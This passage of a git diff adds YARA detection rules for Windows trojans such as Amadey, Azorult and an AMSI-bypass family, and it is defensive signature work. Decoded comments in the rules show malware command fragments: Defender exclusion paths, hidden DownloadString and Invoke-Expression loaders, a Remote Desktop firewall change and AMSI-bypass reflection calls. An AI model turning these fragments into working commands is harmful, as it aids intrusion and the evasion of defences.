00 00 00 83 c0 08 50 ff 74 24 30 ff 15 ?? ?? ?? ?? 8b 4c 24 18 8b 47 28 03 44 24 14 51 } //1 + $a_01_1 = {8b ca c1 f9 06 83 e2 3f 6b d2 38 8b 0c 8d e0 5c 46 00 88 44 11 29 8b 0b 8b c1 c1 f8 06 83 e1 3f 6b d1 38 8b 0c 85 e0 5c 46 00 8b 45 14 c1 e8 10 32 44 11 2d 24 01 30 44 11 2d } //2 + condition: + ((#a_03_0 & 1)*1+(#a_01_1 & 1)*2) >=3 + +} +rule Trojan_Win32_Amadey_AMD_MTB_6{ meta: description = "Trojan:Win32/Amadey.AMD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " diff --git a/Trojan/Win32/Amadey/Trojan_Win32_Amadey_BAA_MTB.yar b/Trojan/Win32/Amadey/Trojan_Win32_Amadey_BAA_MTB.yar new file mode 100644 index 0000000000..de33eaa462 --- /dev/null +++ b/Trojan/Win32/Amadey/Trojan_Win32_Amadey_BAA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Amadey_BAA_MTB{ + meta: + description = "Trojan:Win32/Amadey.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {8a 14 02 32 94 8d ?? ?? ?? ?? 8b 45 18 8b 08 8b 85 ?? ?? ?? ?? 88 14 01 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Amadey/Trojan_Win32_Amadey_BW_MTB.yar b/Trojan/Win32/Amadey/Trojan_Win32_Amadey_BW_MTB.yar new file mode 100644 index 0000000000..b2ae42b9bf --- /dev/null +++ b/Trojan/Win32/Amadey/Trojan_Win32_Amadey_BW_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Amadey_BW_MTB{ + meta: + description = "Trojan:Win32/Amadey.BW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {03 c7 50 6a 00 e8 ?? ?? ?? ?? 5a 2b d0 31 13 83 45 } //4 + $a_01_1 = {04 6a 00 e8 } //1 + condition: + ((#a_03_0 & 1)*4+(#a_01_1 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Amadey/Trojan_Win32_Amadey_CHV_MTB.yar b/Trojan/Win32/Amadey/Trojan_Win32_Amadey_CHV_MTB.yar new file mode 100644 index 0000000000..d2e0f20bd9 --- /dev/null +++ b/Trojan/Win32/Amadey/Trojan_Win32_Amadey_CHV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Amadey_CHV_MTB{ + meta: + description = "Trojan:Win32/Amadey.CHV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {eb 08 0f 06 21 00 00 00 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Amadey/Trojan_Win32_Amadey_DA_MTB.yar b/Trojan/Win32/Amadey/Trojan_Win32_Amadey_DA_MTB.yar new file mode 100644 index 0000000000..4ef297eb42 --- /dev/null +++ b/Trojan/Win32/Amadey/Trojan_Win32_Amadey_DA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Amadey_DA_MTB{ + meta: + description = "Trojan:Win32/Amadey.DA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_01_0 = {8a 55 e1 8a c1 c0 ea 06 c0 e8 02 80 e1 03 88 45 e8 33 db 8a c5 c0 e1 04 c0 e8 04 80 e5 0f 02 c8 c0 e5 02 8d 47 01 88 4d e9 02 ea 89 45 e4 88 6d ea 85 c0 } //10 + condition: + ((#a_01_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Amadey/Trojan_Win32_Amadey_HB_MTB.yar b/Trojan/Win32/Amadey/Trojan_Win32_Amadey_HB_MTB.yar new file mode 100644 index 0000000000..282a7e4f35 --- /dev/null +++ b/Trojan/Win32/Amadey/Trojan_Win32_Amadey_HB_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Amadey_HB_MTB{ + meta: + description = "Trojan:Win32/Amadey.HB!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 03 00 00 " + + strings : + $a_02_0 = {63 00 6d 00 64 00 20 00 2f 00 63 00 20 00 6d 00 64 00 20 00 90 22 02 03 30 2d 39 } //1 + $a_02_1 = {65 00 78 00 74 00 72 00 61 00 63 00 33 00 32 00 20 00 2f 00 59 00 20 00 2f 00 45 00 20 00 [0-30] 2e 00 } //1 + $a_00_2 = {63 00 68 00 6f 00 69 00 63 00 65 00 20 00 2f 00 64 00 20 00 79 00 20 00 2f 00 74 00 } //1 choice /d y /t + condition: + ((#a_02_0 & 1)*1+(#a_02_1 & 1)*1+(#a_00_2 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Amadey/Trojan_Win32_Amadey_MR_MTB.yar b/Trojan/Win32/Amadey/Trojan_Win32_Amadey_MR_MTB.yar new file mode 100644 index 0000000000..19b945c31e --- /dev/null +++ b/Trojan/Win32/Amadey/Trojan_Win32_Amadey_MR_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Amadey_MR_MTB{ + meta: + description = "Trojan:Win32/Amadey.MR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 02 00 00 " + + strings : + $a_01_0 = {8b ec 56 68 e4 5e 4a 00 68 dc 5e 4a 00 68 24 36 4a 00 6a 21 } //15 + $a_03_1 = {89 4d fc 8b 45 fc 89 45 f8 8b 45 fc 0f b6 00 85 c0 74 ?? 83 3d 44 51 4b 00 00 ?? ?? ff 15 4c 90 90 49 00 39 05 44 51 4b 00 } //10 + condition: + ((#a_01_0 & 1)*15+(#a_03_1 & 1)*10) >=25 + +} \ No newline at end of file diff --git a/Trojan/Win32/Amadey/Trojan_Win32_Amadey_NJL_MTB.yar b/Trojan/Win32/Amadey/Trojan_Win32_Amadey_NJL_MTB.yar new file mode 100644 index 0000000000..0f42193153 --- /dev/null +++ b/Trojan/Win32/Amadey/Trojan_Win32_Amadey_NJL_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_Amadey_NJL_MTB{ + meta: + description = "Trojan:Win32/Amadey.NJL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 00 " + + strings : + $a_81_0 = {4c 55 4e 57 48 30 55 72 68 6d 32 74 4c 36 68 79 58 7a 57 34 51 65 79 71 39 71 3d 3d } //2 LUNWH0Urhm2tL6hyXzW4Qeyq9q== + $a_81_1 = {77 68 45 67 46 54 66 57 55 6c 62 37 52 34 47 77 46 67 4f 20 56 69 56 77 4f 69 49 77 3d 3d } //1 whEgFTfWUlb7R4GwFgO ViVwOiIw== + $a_81_2 = {6e 65 74 73 68 20 61 64 76 66 69 72 65 77 61 6c 6c 20 66 69 72 65 77 61 6c 6c 20 73 65 74 20 72 75 6c 65 20 67 72 6f 75 70 3d 22 52 65 6d 6f 74 65 20 44 65 73 6b 74 6f 70 22 20 6e 65 77 20 65 6e 61 62 6c 65 3d 59 65 73 } //1 netsh advfirewall firewall set rule group="Remote Desktop" new enable=Yes + $a_81_3 = {53 45 54 20 50 61 73 73 77 6f 72 64 63 68 61 6e 67 65 61 62 6c 65 3d 46 41 4c 53 45 } //1 SET Passwordchangeable=FALSE + $a_81_4 = {57 4d 49 43 20 55 53 45 52 41 43 43 4f 55 4e 54 20 57 48 45 52 45 20 22 4e 61 6d 65 20 3d } //1 WMIC USERACCOUNT WHERE "Name = + $a_81_5 = {4d 71 55 72 51 45 63 54 33 57 71 54 5a 30 4a 35 61 66 6d 30 6a 48 3d 3d } //1 MqUrQEcT3WqTZ0J5afm0jH== + condition: + ((#a_81_0 & 1)*2+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/Amadey/Trojan_Win32_Amadey_NMQ_MTB.yar b/Trojan/Win32/Amadey/Trojan_Win32_Amadey_NMQ_MTB.yar new file mode 100644 index 0000000000..86ff1b773b --- /dev/null +++ b/Trojan/Win32/Amadey/Trojan_Win32_Amadey_NMQ_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_Amadey_NMQ_MTB{ + meta: + description = "Trojan:Win32/Amadey.NMQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 07 00 00 " + + strings : + $a_01_0 = {41 70 70 50 6f 6c 69 63 79 47 65 74 50 72 6f 63 65 73 73 54 65 72 6d 69 6e 61 74 69 6f 6e 4d 65 74 68 6f 64 } //1 AppPolicyGetProcessTerminationMethod + $a_01_1 = {55 53 4e 70 56 78 39 6c 62 78 71 20 54 5a 74 6c 20 74 5a 67 36 44 6f 59 } //1 USNpVx9lbxq TZtl tZg6DoY + $a_01_2 = {51 77 4e 7a 56 59 4e 69 62 4c 4b 6a 39 44 42 39 } //1 QwNzVYNibLKj9DB9 + $a_01_3 = {49 6f 32 41 52 42 63 31 59 4e 71 56 55 54 4a 58 20 64 66 57 39 4e 3d 3d } //1 Io2ARBc1YNqVUTJX dfW9N== + $a_01_4 = {49 6e 74 65 72 6e 65 74 4f 70 65 6e 55 72 6c 41 } //1 InternetOpenUrlA + $a_01_5 = {37 39 31 39 37 37 30 36 38 30 65 39 62 62 30 34 38 32 39 63 30 30 65 35 62 63 30 34 37 63 33 62 } //1 7919770680e9bb04829c00e5bc047c3b + $a_01_6 = {65 30 64 32 37 66 30 34 33 33 31 37 38 64 31 35 37 61 38 61 31 38 34 38 61 37 35 62 63 61 32 63 } //2 e0d27f0433178d157a8a1848a75bca2c + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*2) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/Amadey/Trojan_Win32_Amadey_RPB_MTB.yar b/Trojan/Win32/Amadey/Trojan_Win32_Amadey_RPB_MTB.yar new file mode 100644 index 0000000000..cf45b2290c --- /dev/null +++ b/Trojan/Win32/Amadey/Trojan_Win32_Amadey_RPB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Amadey_RPB_MTB{ + meta: + description = "Trojan:Win32/Amadey.RPB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,65 00 65 00 02 00 00 " + + strings : + $a_01_0 = {d6 b6 42 53 92 d7 2c 00 92 d7 2c 00 92 d7 2c 00 86 bc 2f 01 9f d7 2c 00 86 bc 29 01 28 d7 2c 00 c0 a2 28 01 80 d7 2c 00 c0 a2 2f 01 84 d7 2c 00 c0 a2 29 01 cb d7 2c 00 a3 8b d1 00 90 d7 2c 00 86 bc 28 01 85 d7 2c 00 86 bc 2d 01 81 d7 2c 00 92 d7 2d 00 62 d7 2c 00 5e a2 25 01 93 d7 2c 00 5e a2 d3 00 93 d7 2c 00 5e a2 2e 01 93 d7 2c 00 52 69 63 68 92 d7 2c } //100 + $a_01_1 = {5c 5c 2e 5c 47 6c 6f 62 61 6c 5c 6f 72 65 61 6e 73 78 36 34 } //1 \\.\Global\oreansx64 + condition: + ((#a_01_0 & 1)*100+(#a_01_1 & 1)*1) >=101 + +} \ No newline at end of file diff --git a/Trojan/Win32/Amadey/Trojan_Win32_Amadey_ZAC_MTB.yar b/Trojan/Win32/Amadey/Trojan_Win32_Amadey_ZAC_MTB.yar new file mode 100644 index 0000000000..f0ff7e3504 --- /dev/null +++ b/Trojan/Win32/Amadey/Trojan_Win32_Amadey_ZAC_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_Amadey_ZAC_MTB{ + meta: + description = "Trojan:Win32/Amadey.ZAC!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_00_0 = {3a 00 3a 00 47 00 65 00 74 00 54 00 6f 00 74 00 61 00 6c 00 4d 00 65 00 6d 00 6f 00 72 00 79 00 28 00 24 00 } //1 ::GetTotalMemory($ + $a_00_1 = {2e 00 52 00 65 00 61 00 44 00 54 00 4f 00 65 00 4e 00 64 00 28 00 } //1 .ReaDTOeNd( + $a_00_2 = {66 00 72 00 6f 00 4d 00 42 00 41 00 53 00 45 00 36 00 34 00 73 00 74 00 72 00 69 00 6e 00 47 00 28 00 } //1 froMBASE64strinG( + $a_00_3 = {2d 00 6a 00 6f 00 69 00 6e 00 } //1 -join + $a_00_4 = {63 00 68 00 61 00 72 00 5b 00 5d 00 } //1 char[] + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Amadey/Trojan_Win32_Amadey_ZA_MTB.yar b/Trojan/Win32/Amadey/Trojan_Win32_Amadey_ZA_MTB.yar new file mode 100644 index 0000000000..d96a356bdd --- /dev/null +++ b/Trojan/Win32/Amadey/Trojan_Win32_Amadey_ZA_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_Amadey_ZA_MTB{ + meta: + description = "Trojan:Win32/Amadey.ZA!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,07 00 07 00 07 00 00 " + + strings : + $a_02_0 = {61 00 70 00 70 00 64 00 61 00 74 00 61 00 [0-3c] 2e 00 74 00 6d 00 70 00 [0-10] 26 00 28 00 24 00 } //1 + $a_00_1 = {53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 49 00 4f 00 2e 00 43 00 6f 00 6d 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 2e 00 44 00 65 00 66 00 6c 00 61 00 74 00 65 00 53 00 74 00 72 00 65 00 61 00 6d 00 28 00 5b 00 49 00 4f 00 2e 00 4d 00 65 00 6d 00 6f 00 72 00 79 00 53 00 74 00 72 00 65 00 61 00 6d 00 5d 00 } //1 System.IO.Compression.DeflateStream([IO.MemoryStream] + $a_00_2 = {43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 } //1 Convert]::FromBase64String( + $a_00_3 = {53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 49 00 4f 00 2e 00 43 00 6f 00 6d 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 2e 00 43 00 6f 00 6d 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 4d 00 6f 00 64 00 65 00 5d 00 3a 00 3a 00 44 00 65 00 63 00 6f 00 6d 00 70 00 72 00 65 00 73 00 73 00 } //1 System.IO.Compression.CompressionMode]::Decompress + $a_00_4 = {4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 49 00 4f 00 2e 00 53 00 74 00 72 00 65 00 61 00 6d 00 52 00 65 00 61 00 64 00 65 00 72 00 28 00 24 00 } //1 New-Object IO.StreamReader($ + $a_00_5 = {24 00 5f 00 2e 00 52 00 65 00 61 00 64 00 54 00 6f 00 45 00 6e 00 64 00 28 00 } //1 $_.ReadToEnd( + $a_00_6 = {53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 54 00 65 00 78 00 74 00 2e 00 45 00 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 5d 00 3a 00 3a 00 41 00 73 00 63 00 69 00 69 00 } //1 System.Text.Encoding]::Ascii + condition: + ((#a_02_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/Amadey/Trojan_Win32_Amadey_ZB_MTB.yar b/Trojan/Win32/Amadey/Trojan_Win32_Amadey_ZB_MTB.yar new file mode 100644 index 0000000000..6a833bdcbd --- /dev/null +++ b/Trojan/Win32/Amadey/Trojan_Win32_Amadey_ZB_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_Amadey_ZB_MTB{ + meta: + description = "Trojan:Win32/Amadey.ZB!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_00_0 = {5b 00 43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 } //1 [Convert]::FromBase64String( + $a_00_1 = {49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 45 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 20 00 24 00 } //1 Invoke-Expression $ + $a_00_2 = {2d 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 } //1 -replace + $a_00_3 = {68 00 69 00 64 00 64 00 65 00 6e 00 } //1 hidden + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Amadey/Trojan_Win32_Amadey_ZC_MTB.yar b/Trojan/Win32/Amadey/Trojan_Win32_Amadey_ZC_MTB.yar new file mode 100644 index 0000000000..d3cc34fc38 --- /dev/null +++ b/Trojan/Win32/Amadey/Trojan_Win32_Amadey_ZC_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Amadey_ZC_MTB{ + meta: + description = "Trojan:Win32/Amadey.ZC!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 2d 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 50 00 61 00 74 00 68 00 20 00 40 00 28 00 24 00 65 00 6e 00 76 00 3a 00 55 00 73 00 65 00 72 00 50 00 72 00 6f 00 66 00 69 00 6c 00 65 00 2c 00 20 00 24 00 65 00 6e 00 76 00 3a 00 53 00 79 00 73 00 74 00 65 00 6d 00 44 00 72 00 69 00 76 00 65 00 } //1 MpPreference -ExclusionPath @($env:UserProfile, $env:SystemDrive + $a_00_1 = {68 00 69 00 64 00 64 00 65 00 6e 00 } //1 hidden + $a_00_2 = {44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 } //1 DownloadString + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Amadey/Trojan_Win32_Amadey_ZE_MTB.yar b/Trojan/Win32/Amadey/Trojan_Win32_Amadey_ZE_MTB.yar new file mode 100644 index 0000000000..ac5c4916ba --- /dev/null +++ b/Trojan/Win32/Amadey/Trojan_Win32_Amadey_ZE_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Amadey_ZE_MTB{ + meta: + description = "Trojan:Win32/Amadey.ZE!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 49 00 4f 00 2e 00 44 00 72 00 69 00 76 00 65 00 49 00 6e 00 66 00 6f 00 5d 00 3a 00 3a 00 47 00 65 00 74 00 44 00 72 00 69 00 76 00 65 00 73 00 28 00 } //1 [System.IO.DriveInfo]::GetDrives( + $a_00_1 = {46 00 6f 00 72 00 45 00 61 00 63 00 68 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 } //1 ForEach-Objec + $a_00_2 = {41 00 64 00 64 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 2d 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 50 00 61 00 74 00 68 00 20 00 24 00 } //1 Add-MpPreference -ExclusionPath $ + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Amadey/Trojan_Win32_Amadey_Z_MTB.yar b/Trojan/Win32/Amadey/Trojan_Win32_Amadey_Z_MTB.yar new file mode 100644 index 0000000000..5d4eaf54de --- /dev/null +++ b/Trojan/Win32/Amadey/Trojan_Win32_Amadey_Z_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_Amadey_Z_MTB{ + meta: + description = "Trojan:Win32/Amadey.Z!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,07 00 07 00 07 00 00 " + + strings : + $a_00_0 = {2e 00 45 00 6e 00 74 00 72 00 79 00 50 00 6f 00 69 00 6e 00 74 00 2e 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 28 00 24 00 } //1 .EntryPoint.Invoke($ + $a_00_1 = {5b 00 43 00 68 00 61 00 72 00 5d 00 28 00 } //1 [Char]( + $a_00_2 = {2e 00 47 00 65 00 74 00 56 00 61 00 6c 00 75 00 65 00 28 00 } //1 .GetValue( + $a_00_3 = {5b 00 52 00 65 00 66 00 6c 00 65 00 63 00 74 00 69 00 6f 00 6e 00 2e 00 41 00 73 00 73 00 65 00 6d 00 62 00 6c 00 79 00 5d 00 3a 00 3a 00 4c 00 6f 00 61 00 64 00 } //1 [Reflection.Assembly]::Load + $a_00_4 = {52 00 75 00 6e 00 74 00 69 00 6d 00 65 00 2e 00 49 00 6e 00 74 00 65 00 72 00 6f 00 70 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 73 00 2e 00 4d 00 61 00 72 00 73 00 68 00 61 00 6c 00 5d 00 } //1 Runtime.InteropServices.Marshal] + $a_00_5 = {73 00 70 00 6c 00 69 00 74 00 } //1 split + $a_00_6 = {2e 00 47 00 65 00 74 00 4d 00 65 00 74 00 68 00 6f 00 64 00 28 00 } //1 .GetMethod( + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/AmsiBypazz/Trojan_Win32_AmsiBypazz_A_MTB.yar b/Trojan/Win32/AmsiBypazz/Trojan_Win32_AmsiBypazz_A_MTB.yar new file mode 100644 index 0000000000..c49d16f488 --- /dev/null +++ b/Trojan/Win32/AmsiBypazz/Trojan_Win32_AmsiBypazz_A_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_AmsiBypazz_A_MTB{ + meta: + description = "Trojan:Win32/AmsiBypazz.A!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_00_0 = {5b 00 52 00 65 00 66 00 5d 00 2e 00 41 00 73 00 73 00 65 00 6d 00 62 00 6c 00 79 00 2e 00 47 00 65 00 74 00 54 00 79 00 70 00 65 00 } //1 [Ref].Assembly.GetType + $a_00_1 = {2e 00 67 00 65 00 74 00 66 00 69 00 65 00 6c 00 64 00 } //1 .getfield + $a_02_2 = {69 00 6e 00 69 00 74 00 66 00 61 00 69 00 6c 00 65 00 64 00 [0-10] 24 00 } //1 + $a_02_3 = {76 00 61 00 6c 00 75 00 65 00 [0-10] 24 00 6e 00 75 00 6c 00 6c 00 2c 00 24 00 74 00 72 00 75 00 65 00 } //1 + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_02_2 & 1)*1+(#a_02_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Androm/Trojan_Win32_Androm_AD_MTB.yar b/Trojan/Win32/Androm/Trojan_Win32_Androm_AD_MTB.yar new file mode 100644 index 0000000000..7ed9b40d6d --- /dev/null +++ b/Trojan/Win32/Androm/Trojan_Win32_Androm_AD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Androm_AD_MTB{ + meta: + description = "Trojan:Win32/Androm.AD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {8a 4d ff bf b4 53 40 00 88 4d e0 83 c9 ff 33 c0 89 75 e4 f2 ae f7 d1 49 89 75 e8 51 68 b4 53 40 00 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Antavmu/Trojan_Win32_Antavmu_MR_MTB.yar b/Trojan/Win32/Antavmu/Trojan_Win32_Antavmu_MR_MTB.yar new file mode 100644 index 0000000000..b1206f7bb2 --- /dev/null +++ b/Trojan/Win32/Antavmu/Trojan_Win32_Antavmu_MR_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Antavmu_MR_MTB{ + meta: + description = "Trojan:Win32/Antavmu.MR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_01_0 = {31 c9 31 d2 89 d0 89 d5 8b 9c 24 8c 00 00 00 83 e0 3f 83 c2 01 c1 fd 02 0f af c5 31 c8 83 c1 0d 01 d8 81 fa f4 01 } //10 + $a_01_1 = {89 d7 09 c7 85 f2 0f 95 44 24 03 85 ea 0f 95 c3 38 5c 24 03 0f 45 c7 01 d2 83 e9 01 } //5 + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*5) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Artoelo/Trojan_Win32_Artoelo_BA.yar b/Trojan/Win32/Artoelo/Trojan_Win32_Artoelo_BA.yar new file mode 100644 index 0000000000..ce7d94d5da --- /dev/null +++ b/Trojan/Win32/Artoelo/Trojan_Win32_Artoelo_BA.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Artoelo_BA{ + meta: + description = "Trojan:Win32/Artoelo.BA,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_80_0 = {3e 6e 75 6c 20 26 20 } //>nul & 1 + $a_80_1 = {5c 77 69 6e 64 6f 77 73 5c 74 65 6d 70 5c } //\windows\temp\ 1 + $a_80_2 = {5c 5c 2e 5c 70 69 70 65 5c 6d 6f 76 65 } //\\.\pipe\move 1 + condition: + ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/AsukaStealer/Trojan_Win32_AsukaStealer_GVA_MTB.yar b/Trojan/Win32/AsukaStealer/Trojan_Win32_AsukaStealer_GVA_MTB.yar new file mode 100644 index 0000000000..5c48198d50 --- /dev/null +++ b/Trojan/Win32/AsukaStealer/Trojan_Win32_AsukaStealer_GVA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_AsukaStealer_GVA_MTB{ + meta: + description = "Trojan:Win32/AsukaStealer.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {f7 75 30 8a 14 0a 8d 8d 48 ff ff ff 32 14 3e e8 f6 81 00 00 47 3b 7d 18 72 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Autohk/Trojan_Win32_AutoHK_GP_MTB.yar b/Trojan/Win32/Autohk/Trojan_Win32_AutoHK_GP_MTB.yar new file mode 100644 index 0000000000..02fc9128ae --- /dev/null +++ b/Trojan/Win32/Autohk/Trojan_Win32_AutoHK_GP_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_AutoHK_GP_MTB{ + meta: + description = "Trojan:Win32/AutoHK.GP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 00 " + + strings : + $a_01_0 = {4c 6f 6f 70 0a 7b 0a 49 66 20 28 20 57 69 6e 43 6c 6f 73 65 20 3c 20 52 75 6e 57 61 69 74 20 29 0a 7b 0a 4c 6f 6f 70 0a 7b 0a 49 66 20 28 20 25 41 5f 53 63 72 69 70 74 44 69 72 25 20 3c 20 52 75 6e } //5 + $a_01_1 = {20 46 69 6c 65 44 65 6c 65 74 65 20 29 0a 7b 0a 7d 0a 49 66 20 28 20 52 65 67 52 65 61 64 20 3c 20 45 6e 76 47 65 74 20 29 0a 7b 0a 7d 0a 49 66 20 28 20 44 6c 6c 43 61 6c } //1 + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/Azorult/Trojan_Win32_Azorult_CL_MTB.yar b/Trojan/Win32/Azorult/Trojan_Win32_Azorult_CL_MTB.yar new file mode 100644 index 0000000000..2bafdb7847 --- /dev/null +++ b/Trojan/Win32/Azorult/Trojan_Win32_Azorult_CL_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_Azorult_CL_MTB{ + meta: + description = "Trojan:Win32/Azorult.CL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_01_0 = {56 00 6f 00 62 00 69 00 78 00 6f 00 73 00 69 00 64 00 69 00 79 00 6f 00 76 00 65 00 30 00 59 00 69 00 74 00 6f 00 62 00 6f 00 64 00 69 00 20 00 6e 00 61 00 68 00 61 00 7a 00 75 00 77 00 75 00 72 00 69 00 67 00 75 00 68 00 69 00 20 00 73 00 75 00 67 00 69 00 64 00 6f 00 